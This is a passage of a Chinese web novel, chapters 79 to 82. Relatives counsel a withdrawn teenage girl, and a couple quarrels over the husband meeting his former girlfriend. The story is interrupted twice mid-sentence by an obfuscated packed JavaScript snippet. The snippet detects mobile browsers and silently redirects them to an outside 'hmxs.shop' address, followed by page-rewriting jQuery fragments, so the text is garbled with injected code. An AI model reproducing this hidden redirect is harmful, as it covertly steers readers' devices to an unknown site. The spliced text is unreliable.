“这好么?”聂宇不太确定地反问,“我觉得乐乐不一定想让很多人知道这件事呢。” “也对。”聂传溪想了想,点头说道,“那还是我来跟她谈吧,我不着急,跟她好好谈。” 拿定主意之后,姑侄俩人回到了客厅,奶奶谢静芳问聂传溪到底是有什么事,聂传溪找了个借口搪塞过去了,老太太转转眼珠,没再多问。 当天中午,聂传溪仍是留在这边吃饭,而后没多久就回去了。聂宇因为心里有事,就没睡午觉,陪奶奶一起在客厅看电视。及至到了晚间,快要吃晚饭的时候,家门终于再度被叩响。但来人不是聂传溪,而是林乐乐。 小姑娘背着沉沉的书包,披着一身雪进门。表情看上去倒还平静,但细细一瞧就是佯装出的若无其事。她挨个向家里的人打完招呼,然后说:“今晚我不回去了,想在这儿陪姥姥睡一晚,行么?” “……” 外孙女想要留宿姥姥家,这是再正常不过的一件事。但聂传溪租的房子就在附近,她特意跑到这里来,分明就是出了什么事。 聂宇同奶奶和孟京阳对视一眼,代表他们开口问道:“乐乐,是不是发生什么事了?你妈妈呢?” “我妈妈和我哥在家呢,我嫌我哥在家看电视吵闹,想来你们这里看看书。”林乐乐垂下眼眸道,一时看不清她的表情。 “你也可以跟他们一起看看电视呀?”聂宇提议道,“这个假期总见你埋头学习了,也该放松放松。” “我对电视不感兴趣。”林乐乐又问,“今晚我能留下吗?” “能,当然能。”聂宇一口应道。 这小孩儿明显是跟家里有矛盾了跑出来的,如果他们不收留她,她还能去哪里呢?事情要更麻烦了。 “还没吃饭吧?”孟京阳走过去,示意林乐乐将书包放下,又温声问道,“先洗手吃饭吧,今晚家里吃羊蝎子火锅。” “好。”林乐乐点点头。 -79- 一顿饭吃完,林乐乐回到谢静芳的房间,去温书了。聂宇陪着奶奶在客厅里溜达消了消食儿,待老太太也回房之后,聂宇用孟京阳的手机给姑姑聂传溪打了个电话,告诉她乐乐在她这儿,以免她着急。 果不其然,母女俩人因为早恋的事发生了冲突,再加上有林天天在旁不自觉地火上浇油,乐乐一气之下就离家出走……到了他们这儿。聂传溪在电话里提出要来接乐乐回去,聂宇拒绝了,让她们娘俩都先冷静一晚再说。 当晚,众人都早早入睡了。第二天一早起来,林乐乐吃完早饭就去上补习班了,中午依旧回的这里。随后,姑姑聂传溪也来了,母女俩相处起来看似平安无事,但饭后林乐乐仍没要回去的意思。聂传溪没辙,同聂宇对视一眼,将乐乐交给她了。 当即,聂宇就决定跟乐乐谈谈心。但她没有立刻行动,而是等到午后天气晴好的时候,她拖着林乐乐和她一起下楼散步,顺便去离家不远的一个街口买冰糖葫芦。 林乐乐兴致不大,但还是陪着她去了,俩人冻的斯哈斯哈的,但聂宇还是没松口说要回去,毕竟正事儿还没办呢。 “乐乐,那封信的事我已经知道了,是你妈妈告诉我的。”斟酌再三,聂宇终于开口了,“你不要怪她,因为她确实也找不到第二个人来帮她拿主意。而你要是有什么难以启齿的,也可以跟我说,我保证不但不会外传,还会劝着你妈妈理解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16749850|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,好吗?有什么问题,我们一起来解决。” 聂宇的口吻柔和至极,俨然是把她当做一个小孩儿看待。林乐乐瞅了她一眼,又转过头去。 “姐,你不用担心,我跟白然什么事儿也没有。他跟林天天一样讨厌,我怎么会喜欢他呢。” “那你和姑姑吵什么?她不信你?”聂宇疑惑反问。 “不是。”林乐乐摇摇头。 她确实不喜欢白然,但这并不代表她没有早恋……想起那个人,林乐乐的心绪稍有起伏,她抬眸看了眼某处,心底划过一丝难过。 聂宇还想再问,但林乐乐什么也不说。她已经不是以前那个什么都会跟她分享的小女孩儿了,青春期所遭受过的或多或少的恶意,使她对所有人都增添了一丝防备,哪怕对方是她十分亲近的人。 聂宇感到林乐乐的问题比她想象的严重,但她不愿意开口,她自己也不能强迫。就这样挫败地回到家里,被陪老太太遛弯回来的孟京阳看到,不动声色地把她叫回了房间。 “姐俩吵架了?”递给她一杯热水,孟京阳问道。 “吵架倒好了。”聂宇无奈地喝一口水,“小姑娘根本就拒绝沟通。” 她倒宁愿林乐乐大哭或者大闹一场,也比憋闷在心里强。 孟京阳也暗暗思忖起来,沉吟片刻,他对聂宇说:“要不,我跟乐乐谈谈?” “你?”聂宇惊的差点儿被水呛到,“你可以?” “有些话,越是亲近的人越是难以开口。而我对乐乐来说,目前还算是一个‘外人’,说不定反倒让她没那么多顾忌。”孟京阳微微一笑,眸中毫无介怀之意。 “瞎说什么,她叫你姐夫呢。”聂宇也感觉到了乐乐对孟京阳的疏远,但嘴上是当然不会承认的。 “无所谓,现在的重点不是这个。”孟京阳用手指点一点桌子,问她道,“我的建议如何?” 聂宇还在心里琢磨。或许孟京阳说的有道理,对一个“陌生人”倾诉比对亲人更没负担。但乐乐毕竟是一个敏感的女孩儿,再加上男女考虑问题时存在着天然的差异,她又很怕孟京阳会搞砸。 “不一定有用,但绝不会搞砸,至少不会比现在这样差。”孟京阳说,“我下连之后做过半年多的指导员,思想工作方便也算是有经验。”最重要的是,他想替她分忧。 “真的?”聂宇眼眸一亮,她还是头一回听说呢。 孟京阳含笑点点头,聂宇又思索片刻,终于决定让他去试试。 - 次卧里,林乐乐仍旧在看书。不一会儿有敲门声响起,她略闭了闭眸,回过头应了声:“请进。” 出乎意料的,来人是她的姐夫,孟京阳。看见是他,林乐乐立刻从椅子上站了起来,神情礼貌中透着点意外。 “乐乐,方便帮我一个忙吗?” 孟京阳也用客气的口吻问道,林乐乐有些意外,先是点了点头,又问:“我姐呢?” “老太太正教她缝被子,所以我只能来找你了。” 孟京阳笑抬出一个理由来,林乐乐拒绝不得,只能应下。她披上外套,跟着孟京阳一起下了楼。 一出单元楼口,见孟京阳不紧不慢的动作,林乐乐就知道自己“被骗”了,但此人是她的姐夫,她也不好当即发火,更不能立刻转身就走。 “乐乐,你是不是挺不喜欢我,觉得我抢走了你的‘毛毛姐’?” 孟京阳早就察觉出小姑娘对他的莫名“敌意”,正好用来做这场谈话的切入点,让她没那么反感。 “没有。”林乐乐下意识否认,“我只是不太习惯有了个‘姐夫’,并不是对您有意见。” “?”孟京阳有些意外地看过去,“不用称‘您’,怎么说我也已经是你姐夫了,咱们说话可以随意点。”笑一笑,又说,“我能理解你的感受,乐乐。但你姐终有一天会结婚,你也不能否认这点,是不是?” “所以姐夫,我现在又觉得你不错了。如果我姐一定要结婚,那个人是你也挺好。” 短时间内经历了一波起落,孟京阳缓缓意识到,这个女孩儿似乎对异性有一种敌意,或者说抵触。 “你对同龄的男孩儿有些反感,是不是?“ 孟京阳抛出这个问题,林乐乐有些诧异,但她没有吭声。孟京阳没有迫她,过了一会儿又坦诚道:“你大概猜到了,跟你谈话是你姐交给我的任务。不过我并非是被强迫,而是主动请缨接过来的。因为在我看来,有些话在一个陌生人面前,更好开口。而我也能向你保证,今天的谈话我不会透露给任何人。” “对我姐也不会?”林乐乐反问,眸中带了些好奇,“那她不会生气么?” “她不会。”孟京阳说,“她尊重我,也尊重你。当然,我也是。” 林乐乐倏然一惊。尊重,这个词她已经多久没有感受到了,尤其是来自同龄异性的。现在忽然从一个男性长辈口中听到,她颇有些动容。 “谢谢你,姐夫。”林乐乐低声说。 - 在孟京阳的耐心等待下,林乐乐简短地向他倾诉了一些烦恼,多是关于同龄异性的。她长得漂亮,身体条件又好,从刚开始发育的时候便吸引了不少异性目光。但让林乐乐无语的是,这些人从不会用正常的方式向她示好,而是揪她辫子,向她吹口哨,故意来惹她生气,好引起她的注意。 林乐乐可以说是烦不胜烦,回到家里向哥哥抱怨,还被告知那是“喜欢你才欺负你”。久而久之,因为男生对她的过分关注,一些女生也对她起了敌意,甚至还编排起小道流言来,林乐乐无奈,只能尽量让自己不理会。 孟京阳听完,沉思片刻,问她道:“你跟那些人说过吗?不是只生气,而是明确地表达自己不喜欢这种示好方式,请他们不要再继续?” “……没有,而且他们也不会承认的,反倒会骂我自作多情。”代入到那些臭男生身上思考了一番,林乐乐苦笑回答道。 “那正好了,你可以反过来将他们一军,让他们适可而止,否则不要怪你‘自作多情’。” “那不是跟他们一样无赖了吗?”林乐乐不解地反问,但在脑海里想想那一幕,又觉得挺有趣的。 “对待无赖就要有无赖的方法,有的时候人的脸皮是要厚一些。”见她笑了,孟京阳晓得谈话已经达到初步的目的,便放缓口吻道,“无论在任何时候,遇到让你不舒服的事了,要先和对方说不。这样不管接下来发生什么,都与你无关了。你不说,对方要么觉得你欲擒故纵,要么觉得你好欺负,这都不是你想要的结果,对不对?” “你说得对。”林乐乐缓慢地点了点头,有一种醍醐灌顶之感。 “如果对方仍旧一意孤行,家长、老师、学校甚至公安,都是你可以求助的对象。唯一记住一点,不是自己的错误就不要自责。” “嗯。”林乐乐应一声,又笑了。 “谢谢你,姐夫。”她抬眸看向孟京阳,神情有一丢丢的惭愧。 “不要谢我。”孟京阳认真道,“反倒是我要代那些欺负你的男同胞向你道歉,抱歉了,乐乐。” “他们不配!”林乐乐脱口而出道,脸一红,又迅速抿住了唇,“……现在想来,其实也不是什么大不了的事。而且,也不是所有人都那样……” 孟京阳看着林乐乐,意识到她话中有话。但林乐乐不主动说,他也不会催问。 林乐乐确实还有别的心事,那就是她在学校遇到了一个男生,他对她的好,能让她改变一些对异性的看法。只是,偶尔对他,林乐乐会有一种抓不住的感觉,就像是风一样,倏地从手中拂过,溜走。 “姐夫,一个人如果既对你好,又让你伤心难过,那——” 话说到一半,林乐乐咬住了唇。这不在她想跟孟京阳谈话的范围内,她不能再说下去了。 但孟京阳已经听出了大概,他用略带审视的目光打量林乐乐一眼,斟酌几秒后回答道:“那他不是真的对你好,否则不会让你难过。” “……”林乐乐若有所思。 40.80-82 -80- 聂宇自缝完被子开始,就在屋里坐立不安,俨然热锅上的蚂蚁一样。谢静芳被她晃得头晕,直喊她坐下。 “既然交给京阳了,就相信他。” 老太太一句话,惊的聂宇不轻。 “您都知道啦?”聂宇倾身上前,问道。 “我还不傻不聋呢,这个家里的事儿什么时候能瞒过我?”谢静芳轻点孙女的额头,说,“乐乐这孩子太乖,乖得让人心疼,有人能开导开导她,我也安心。” 可不是么! 聂宇叹一口气,听见房门响了,她和老太太对视一眼,都不说话了。 不一会儿,孟京阳回了屋,见老太太还在,就没有言语。谢静芳心里明镜似的,知道俩人不会当着她面儿聊,便去客厅看电视了。聂宇目送着老太太离开,待门一关上,她就向孟京阳使眼色,意思是问他战况如何。 “放轻松,不是多大的问题。”在桌边的椅子上坐下,孟京阳说,“我们已经聊过了,小姑娘心里有了数,至于后续如何,慢慢再看吧。” 聂宇很是意外:“乐乐都告诉你了?” “只说了她愿意说的,具体内容我向乐乐保证了不会外传,所以聂老师——” 孟京阳看着她一笑,果然就见聂宇有些失落的样子。不过不是因为“不外传”,而是乐乐居然还真愿意向孟京阳倾诉。 “怎么做到的?”聂宇有一点儿嫉妒了,明明她才是跟乐乐最亲的人。 “也不难。”孟京阳眉梢轻抬,“她现在已经长大了,只要把她当做大人看待,平等对话,她就愿意跟你交流。未必会吐露所有心声,但也能有所收获。” 聂宇微微一怔。 那天跟姑姑聂传溪私下嘀咕的时候,她建议她以同龄人的姿态跟乐乐谈。但她们都忘了一点,那就是所谓的同龄人并不是“孩童”,而已经是“大人”了。 “好吧。”聂宇长出一口气,释然了,“不愧是当过半年指导员的人,还是你有经验。” “那不然呢?我什么时候诳过你?” 孟京阳起身走到衣柜旁,取出居家服打算换衣服。聂宇吐舌一笑,出门去洗水果吃了。 待她分发一拨后回来,发现换好衣服的孟京阳正坐在床尾出神。她走过去,伸出右手张开五指在他面前晃了晃,问他在想什么。 “只是忽然意识到一个问题。”孟京阳抬眸睇她,“以后有了孩子,该如何跟ta交流也是个值得研究的课题。男孩儿的话还好,女孩儿,尤其是步入青春期以后的小姑娘,跟她沟通的时候大概要慎重许多。” 聂宇没想到他竟考虑的这样长远,他们现在还没孩子呢。 “未雨绸缪而已,为人父母又不是一个赶鸭子上架的活儿。”孟京阳笑觑她,看起来颇有心得的样子。 聂宇不甘示弱地开口:“但你也别把男孩子想得太简单,从小我跟聂杰英一起长大,没少看他跟我大爸顶嘴,然后把家里闹得鸡飞狗跳。男孩子叛逆起来比女孩儿难管多了,而且不是还有一句话么,说父子是天生的冤家。这样想来,孟先生你确实得好好未雨绸缪一下了。” 说到最后,聂宇不由眯眼笑了。孟京阳瞅她一眼,仍是一副好整以暇的样子,竟未显丝毫的退缩。 “有道理,那咱们现在先从根本上努力起来吧。” “?” “生孩子。” “……”你不要过来! - 当然不可能真的白日胡闹,但到了晚上,一切又都由孟京阳说了算了。 第二天早上聂宇努力挣扎着起来吃早饭,就听林乐乐在饭桌上宣布,说中午上完课就不回这边了,她要回家。 见她一副平静从容的样子,聂宇心知小姑娘是真的有所开怀了,但她还是没有完全放心,在她离家去上课的时候,陪着她一起下楼,走去公交站。 林乐乐觉得她是真操心,不由得失笑万分。但聂宇却不以为意道:“我就你一个小妹妹,不操心你操心谁?以后无论你长多大,在我面前都是一个小姑娘,不过乐乐,我会慢慢把你当一个大人看待的。” 林乐乐听了聂宇的话,心里很是动容。姐俩手牵着手,以前所未有的亲密姿态走在小城的街巷中。 聂宇这么喜欢乐乐,是有原因的。 在八岁的时候,聂宇曾生过一场重病。她打小就身体不好,感冒发烧是常事,但这次的病有所不同,因为这是聂宇第一次在父亲走后生重病,整个人都快烧糊涂了,被谢静芳搂在怀里,不住地呓语着。后来往医院跑了几天后,病情总算是控制下来了,从那以后她就一直在家将养着,那一年都没怎么去上学。 养病期间,某一天聂宇从昏睡中醒来,看见快四岁的乐乐正趴在她床边,睁着一双圆圆的大眼睛在看她。见她醒来,小姑娘十分高兴,问她想吃喝些什么。聂宇当时嘴巴干得很,想喝一些水,但最后说出来的却是想吃草莓。在方才的睡梦中,她梦到父亲买来大草莓喂她,醒来就迫切地想吃,甚至才说出这两个字眼泪就从眼角滑落了下来。 乐乐被她的眼泪吓到了,说:“不哭不哭,乐乐给姐姐拿——” 当时客厅的桌子上确实摆着一盘草莓,是大妈王盈和奶奶谢静芳一起去市场上买回来的。而乐乐出来看到大妈和二妈正和两个不认识的阿姨在饭桌上打麻将,她便偷偷地用一双小手捧了好多草莓去给聂宇吃,来往两次,把一盘草莓都拿光了。 及至聂杰英和二妈家的孩子放学回来想吃草莓的时候,众人才意识到那一盘早空了。王盈气愤地把乐乐叫出来,问是不是她偷吃的,乐乐被吓得够呛,不敢说实话怕王盈迁怒,便认下了。 虽然事后聂宇出来承认了,但王盈还是很生气,话里话外怪她们两个小姑娘不懂事,都不知道多少给哥哥们留一两个。等到姑姑和奶奶从外面回来,知道了家里发生的事,聂传溪为此和王盈大吵了一架,买回来一大盒草莓后摔门离去,从此再也不登这个家的门。 从那以后,乐乐就跟聂宇亲近了起来,有什么好吃的都想着她这个姐姐,家里包了果园之后更是挑各种好吃的水果往市里送。而聂宇则是从小就带着乐乐和天天学习,逢着每年暑假了,正是果园最忙的时候,她都会回去帮姑姑姑父没日没夜地干两个月的活,只为帮他们减轻负担。 所以,不光是乐乐,姑姑一家都对她很重要,是她灰暗的孩童世界里为数不多的光。 - 解决完乐乐的事后,距离正月十五元宵节就不远了。 聂宇大爸那边提前就打过招呼来,说想要元宵节全家再聚一次,也算是提前为聂宇和孟京阳饯行。谢静芳觉得无可无不可,端看孩子们的意思。 聂宇和孟京阳商量过后,觉得聚餐可以,但没必要打着送行的名义。他们来去自如,不打算给任何人增添负担。 谢静芳转达了这一意思,大爸那边就忙活开了。不成想没等正日子,提前就闹出了事端。 在一个寒冷的深夜里,一家三口都睡下之后,房门突然被人敲响了。孟京阳起身去应门,发现来人是聂杰英,他穿着一件羽绒服,拉链都没有拉好,整个人狼狈不堪。 自聂宇回来之后,除第一天外,就再也没见过聂杰英和蒋晓先。一家人都心知肚明,聂杰英这是有意躲她,却不知为何在此时登门。 “有什么事?” 问话的是奶奶谢静芳,聂杰英的敲门声太霸道,怕是一楼人都被他惊醒了。 “奶奶,晓先有没有来您这边,她、她不见了!” 这边三个人俱是一震:什么情况,前脚刚安抚完乐乐,后脚又来了个蒋晓先?但跟乐乐不同的是,蒋晓先对他们这边没感情,回燕城都不可能来他们这儿。 “她没来。”聂宇冷静道,“她怎么可能过来。” “……”聂杰英没办法了,一把用手抚住了额头。 “到底发生了什么事?晓先好端端地怎么会离家出走?” 将人叫到客厅坐下后,谢静芳沉声问道。虽然这对三天一小吵五天一大吵,但蒋晓先在家是占有绝对优势地位的,聂杰英被扫地出门都轮不到她走。谢静芳正是知道这一点才有此一问,她断定一定是发生了什么非同寻常的事。 聂杰英低头揉搓着双手,不知道该如何回答。在老太太的层层催逼下,他只能臊眉耷眼地承认:“最近我跟小洁见了一面,被她知道了,她就……” “糊涂!”谢静芳指着他大骂道,“你已经是结了婚的人,对小洁再放不下也得放下,这样纠缠下去,不仅不利于你自己的家庭,还耽误小洁嫁人。你当初已经在她和晓先之间做出选择了,现在是想干什么,想两头通吃?坐享齐人之福?你别想的太美了,也不看看自己有没有这个命!” “奶奶!”聂杰英头疼又心虚地打断老太太的话,“我不是故意的,我、我就是太憋闷了,想找个人说说话透口气,否则我真的要难受死了。” “再难受也要受着,这是你自己的选择,不要来我面前装可怜!” 老太太这话说的斩钉截铁,狠厉无情,聂杰英听了之后脸色发白,兀自哆嗦了好一会儿,打算起身离去。还是聂宇知道老太太是刀子嘴豆腐心,如果真让聂杰英走了,她今晚怕是都睡不好了。于是,她出声拦住了他。 “她在旬城又没有认识的熟人,能跑到哪里去?家附近的宾馆都找过了吗?” “找了两家,都没有。”聂杰英有气无力地说,“会不会是怕我们找过去,所以特意选了离家远的宾馆?” “也不是没这个可能。”孟京阳接话道,“但我建议你现在立刻去火车站,她很有可能一气之下买票回燕城。至于我和澄澄,可以代你去家附近或者更远一些的宾馆找找,我们分头行动。” “行行,那就麻烦你了,孟首长,谢谢、谢谢……” 聂杰英已经感激到语无伦次了,拿起车钥匙刚要出门的时候,他的手机响了,是家里打过来的。聂杰英立刻停下脚步,按下了接听键。 电话那头传来王盈类似喜极而泣的声音:“杰英,回来吧,快回来吧,晓先也回来了……” 一连串的“回来”,听的聂杰英有些糊涂,但聂宇和孟京阳却是听明白了。俩人对视一眼,彼此都有些不明所以:这又是闹的哪一出?人自己回来了? -81- 聂杰英仍是一头雾水,但听到蒋晓先回来的消息,他的一颗心总算是落回肚子里去了。挂了电话,他立刻要回家,可想起这场争吵的由来以及又要面对蒋晓先,他的心头不由浮现了一起怯意。聂杰英停下脚步,看向聂宇。 “?”聂宇有些困惑地回视过去,不明白他还在耽搁什么。 “小宇,要不你跟我一起过去?你是晓先姐姐,有什么事儿也能安慰安慰她。” 聂杰英挤出一丝谄笑,话说的十分艰难。聂宇听了不免想翻白眼,心想他可太高估她和蒋晓先的姐妹情了。 “你要觉得我说的话晓先会听,那也行。” 聂宇摊摊手道,聂杰英回想起这姐俩之间那势如水火的关系,也觉得自己这个主意不怎么样。他讪笑一下,告别了这一家三口要走,却又被聂宇叫住了。 “算了。”聂宇看了眼坐在一旁明是生气实则暗暗关心的奶奶,说,“我跟你走一趟吧。” 只当是为了让奶奶安心。 聂杰英顿时高兴不已,道谢之后先一步下了楼。聂宇则是立刻回房换衣服,而后和孟京阳一起出门。 “奶奶,我和京阳过去一趟,您先休息吧,不用等我们。” 在经过谢静芳房间的时候,聂宇交代了一句。老太太正坐在床边,向门口看来的时候,莫名叹了口气。 如果可以,她是不想让聂宇掺和进来这件事的。但蒋晓先这是第一次闹到离家出走的地步,她也不是很放心。 “你到了那里,不要说太多的话。若晓先坚持要求回燕城,你也不必劝她。”谢静芳说,“有时候这两个闹得厉害时,我确实忍不住会想:与其这样,不如分开。” 聂宇这才明白老太太为什么不拦着她跟着聂杰英去,原来是打着这样的主意。 “好,我知道了。”聂宇笑一笑,说。 - 下了楼之后,聂宇让聂杰英自己开车先走,她和孟京阳随后就到。聂杰英没有反对,只是叮嘱他们千万要来,才一踩油门离去。 聂宇和孟京阳对视一眼,先后上车。待车子驶离院子,慢慢开上主路之后,聂宇才问孟京阳:“你是不是不想让我跑这一趟?” “这是奶奶的意思,所以我不会多说什么。但依我看,确实没必要管他们的事。”孟京阳仔细盯着前方,慢慢说道。深沉的夜里,能看到他唇边逸出的白雾,无论是车里车外,都太冷了。 聂宇轻搓一下手,说:“是。不过这一次奶奶是怕蒋晓先会提出回燕城,所以让我们过去。她若真要走,总不能让她一个人回吧?”而她,到底也算是蒋晓先在燕城唯一的娘家人啊。 孟京阳这才了悟,微微一笑,说:“要真是如此,那可是桩苦差事。” “所以呀,还是希望这俩人能消停。” 聂宇苦笑了一下,由衷说道。奈何,现实往往事与愿违。 俩人赶到的时候,是大妈王盈来给他们开的门,视线对上,她的表情惊讶中带着一丝龟裂,似乎是并不知道他们会来。 聂宇只得解释:“我哥刚去了我们那儿,奶奶听说了这边发生的事后不放心,让我们过来看看。” 王盈木着一张脸给两人让路,聂宇领着孟京阳进门,匆忙之间连鞋也顾不上换了。 - 回到这个住了许多年的家中,聂宇没来得及有一丝旧地重游的触动。她和孟京阳放轻脚步向客厅走去,看到了杵在当中空地剑拔弩张的聂杰英夫妇俩,以及黑着一张脸坐在沙发一角的大爸聂传洋。 依稀嗅到了一丝火药味儿,聂宇目光与蒋晓先对上的时候,一时间竟不知该说什么。 蒋晓先并不意外聂宇的到来,她就猜到聂杰英会去她那里找人,而依聂宇的性子,她又怎么可能不来看热闹呢。 蒋晓先不打算理她。今天她的里子和面子都可以不要了,随便什么人来嘲讽和奚落,她都无所谓。因为最重要的东西,她都已经快失去了。 蒋晓先是中午那会儿得知聂杰英和周洁见面的事儿,本来她离家确实是奔着回燕城去的,但一来买不到合适的车票,二来她也不舍得真走。在外面兜兜转转一圈儿,她最后做下决定:她不能逃,这个事情也不能含糊了之。要么聂杰英跟周洁完全断了,将心思全部放在自己身上,俩人一心过日子;要么,她就和聂杰英离婚,然后再回燕城去。 反正不过是半年的时间,她浪费得起。 打定主意之后,蒋晓先回来了。她现在要求聂杰英当着公婆的面儿表态,到底是选她还是周洁,但凡有一丝说不清,她就离婚。 聂杰英知道现在自己唯一的出路就是伏低做小息事宁人,但回想过去半年多的生活,那种困扰他两三个月的窒息感又涌上来了。他根本想不到,自己和蒋晓先这段感情的保质期居然只有短短的两三个月,接下来等着他的都是一地鸡毛和无穷后患。 “晓先,我承认,我确实去见了周洁。” 聂杰英低着头丢出这么一句话来,没等他说第二句,聂父聂传洋就站了起来,指着聂杰英破口大骂,话里话外都是你个王八蛋龟孙儿不懂事,放着好好的日子不过生事。 聂杰英听了脸色血红,显然是被父亲激怒了。聂宇见状,向大爸使了个眼色,让他不要太激动,先听聂杰英把话说完。 然而为时已晚,聂杰英先一步就越过聂宇,对上父亲道:“这是好日子么爸?您扪心自问,从燕城回来之后咱们家过过几天好日子?两只手都数的出来!” “那也是你自己做的选择,有人逼你吗?啊?”聂传洋激怒道,“我和你妈做了所有我们能做的,供佛爷一样供着你们,你还有什么不满意的,让我和你妈到这个岁数了还得跟着你们吃这份苦受这份罪!” “……” 聂杰英沉默了,就听母亲来到身边劝自己:“杰英啊,现在不是生气的时候,有话你好好说,把你和晓先之间的疙瘩都解开,咱这日子不就能继续往下过了吗?” 王盈这会儿都快急死了,拉住聂杰英的胳膊使劲儿晃。聂杰英也回过神来,看向蒋晓先,神情极度狼狈。刚刚一不小心,他说出了埋藏在心底深处的话。 “晓先——” 他试图找补,又试图像母亲说的那样把话说开,却被蒋晓先抬手打断了。 “我算是看明白了。”她冷冷一笑,说,“这个家里所有人都嫌弃我,不待见我,包括你,聂杰英。” “不是这样,晓先。”聂杰英无力地说,“我就是觉得,日子不该是咱们现在这个过法儿。我们都太不体谅对方了,你有错,我也有……” “所以你去找了周洁?她比我温柔小意,更讨你的欢心,是不是?”蒋晓先问。 “这不是重点,重点是我们如何,你还没明白我的意思吗?”聂杰英有些崩溃,“对,我是不该去找她,我确实混蛋。但我是怎么走到这一步呢?只是我一个人的错吗?” “那难不成还有我的错?我让你出轨?聂杰英,你还有点儿良心没有了,敢情当初你向我许下的诺言都是骗人的鬼话!”蒋晓先也绷不住了,两行热泪夺眶而出。 “我也想像当初说的那样爱你啊,但是蒋晓先,你又爱我吗?你只爱你自己!”聂杰英指着蒋晓先道,“但凡你多爱我一些,我们就不会是这样!” “你胡说!” 蒋晓先冲他喊了一句,过后想继续反驳,却发现无话可说。确实,她曾以为对聂杰英有爱,但这份爱存在的前提是他也爱她。很显然,他们都曾被那种特殊形势下产生的感情给欺骗了,他们不过是互相利用罢了。 意识到这一点,蒋晓先忽然不想再跟他吵了。而王盈见状,也见缝插针地上前来劝架:“晓先啊,其实不是多大的事儿。你和杰英还是有感情的,只不过吵的多了就把感情忘了。但是没关系,咱们再重新培养起来,啊?至于周洁嘛,一段婚姻那么长,谁还没个走神的时候呢?杰英也是因为朋友不多,所以才……但我保证啊,他和周洁断的干干净净,现在所有的来往都是朋友层面的,绝没有你想的那些事。” 蒋晓先看王盈像哄骗傻子一样哄骗她,觉得十分好笑。她瞪了她和聂杰英一眼,赌气回房了。 王盈无奈,看看儿子又看看丈夫,最后将目光落在了聂宇身上。 聂宇从没想过自己能有如此身担大任的时候,但她来都来了,总不能只看热闹吧。面对王盈充满信任的眼神,她回头对孟京阳说:“我去看看晓先,你在外面陪大爸他们说说话?” “好,有什么事叫我。” 孟京阳应道,聂宇点点头,轻吸一口气,上前推开了蒋晓先的房门。 -82- 房间里,蒋晓先正坐在床上平复心情以及思考下一步的打算,见聂宇进来,她下意识就挂上了防御面具,仿佛来者不善一般。 “还没走?笑话还没看过瘾?”蒋晓先绷着脸问道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764967|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聂宇没有立刻回答她。现下俩人住的这个屋子是之前她和奶奶住的,聂宇环视一圈,发现找不到一点儿往日的痕迹,不由心生叹息。 “是啊。天大的热闹,不看够本怎么舍得走呢?” 回过头,看着蒋晓先,聂宇故意以幸灾乐祸的口吻说道。蒋晓先果然双目一瞠,想要对等的反驳回去,最后却只是不甘不愿地撇过了头。 “你该料到的。”沉默几秒,聂宇低声说,“当初你手勾一勾就跟你走的男人,怎么可能对你始终如一?不过你也别觉得太委屈,毕竟一个被窝睡不出两种人。” 这话讲的太难听了,蒋晓先再没心力也还是打起精神反驳了一句:“你以为你比我好到哪儿去了么聂宇?你能嫁给孟京阳难道就没有你的算计在里面?难不成你还以为是真爱?”居然还有脸教训起她来了! 聂宇一怔,仿佛是被戳中了某处隐痛似的。但细细一想,她和她还是不一样,毫无任何可比性。 “不管怎么说,你尽快拿主意吧。”没再刺激她,聂宇转移话题道,“要是打算回燕城,我和孟京阳可以带上你一起,也算让你路上有个伴儿。” 蒋晓先有些傻眼了,她还以为聂宇是来劝和的,没想到她竟然让她走。 “你——” 蒋晓先看着她,说不出来话了。聂宇明白她的意思,双手一摊,说道:“别误会,我不是来劝你的,你也不会听。我只保你安全回燕城。” “……” 蒋晓先沉默了。回燕城也不是不可以,只是若要这么做,她和聂杰英算是彻底玩完了。当然,一个聂杰英她也不是舍不下,只是回到燕城以后该如何呢?她是继续去边防当兵还是找个人家嫁了?谁又肯娶她呢? 对于蒋晓先而言,现在最好走的一条路就是怀上聂杰英的孩子,一家三口一起回燕城,然后在父亲的眼皮子底下继续拿捏他。至于先前她想好的离婚,只能是万不得已时的选择了。 没错,此刻蒋晓先已经没了方才刚回家来时的硬气,大概是勘破了这一家子的心理底线,知道自己的赢面并没有那么大。但她也不可能就这样留下。 “放心吧,我不会跟你回去的。”蒋晓先从床上起身,说,“但我也不会这样留下。” “……”聂宇不晓得蒋晓先又打算干什么,只能目送着她离开。 - 房间外,客厅众人正坐在那里沉默着。听见房门打开的声音,都举目向这边望了过来。 聂宇跟在蒋晓先的身后,见她努力挺直着脊背,说道:“我可以当做没事发生,以后过日子,我也可以学着普通夫妻那样和你彼此体谅……” 听到这里,背后门边的聂宇不免一叹息,心想她还算是有些自知之明,知道自己的缺点在哪里。若是真能改,她和聂杰英的婚姻大概还能续几年的命—— “但是——” 蒋晓先一个转折,吸引了在场所有人的注意力,尤其是王盈,她睁着一双有些浑浊的眼睛,一眨不眨地看着蒋晓先,等她提条件。 “但是你要把周洁叫过来,你们两个当着我的面儿一起发誓,写下保证书,保证以后不再有任何来往。否则,咱们就离婚吧!” 蒋晓先自以为自己做出了极大的让步,但她终究还是不了解聂杰英的心思。在刚刚过去的这十几分钟里,在父母的施压下,意志不够坚定的他已经在想着如何挽回婚姻。但他可以为了蒋晓先留下做任何事,唯独不可能答应她这个请求。 